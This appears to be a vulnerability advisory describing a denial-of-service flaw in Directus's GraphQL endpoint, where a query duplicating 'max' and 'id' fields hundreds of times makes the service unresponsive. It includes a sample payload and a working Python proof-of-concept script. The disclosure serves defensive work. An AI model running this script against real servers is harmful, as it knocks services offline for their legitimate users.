Directus GraphQL Field Duplication Denial of Service (DoS)

Summary

A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.

Details

Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:

By modifying the data sent and duplicating many times the fields a DoS attack is possible.

PoC

The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it. {'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}

Although that payload seems harmless, a bigger one leaves the service unresponsive.

The following code might serve as a PoC written in Python3:

# GitHub @asantof

import requests

## CHANGE THIS VALUES: url, auth_token, query_name, collection_name
url = 'http://0.0.0.0:8055/graphql'
auth_token = '' 
query_name = 'query_XXXXX' 
collection_name = ''  

headers = {
    'Content-Type': 'application/json',
    'Authorization': f'Bearer {auth_token}',
}

id_payload = 'id ' * 200
max_payload = 'max {' + id_payload + ' } '
full_payload = max_payload * 200

data = {
    'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }'
}

print(data)

response = requests.post(url, headers=headers, json=data)

print(response.json())

After running it the service will be unresponsive for a while:

Impact

The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.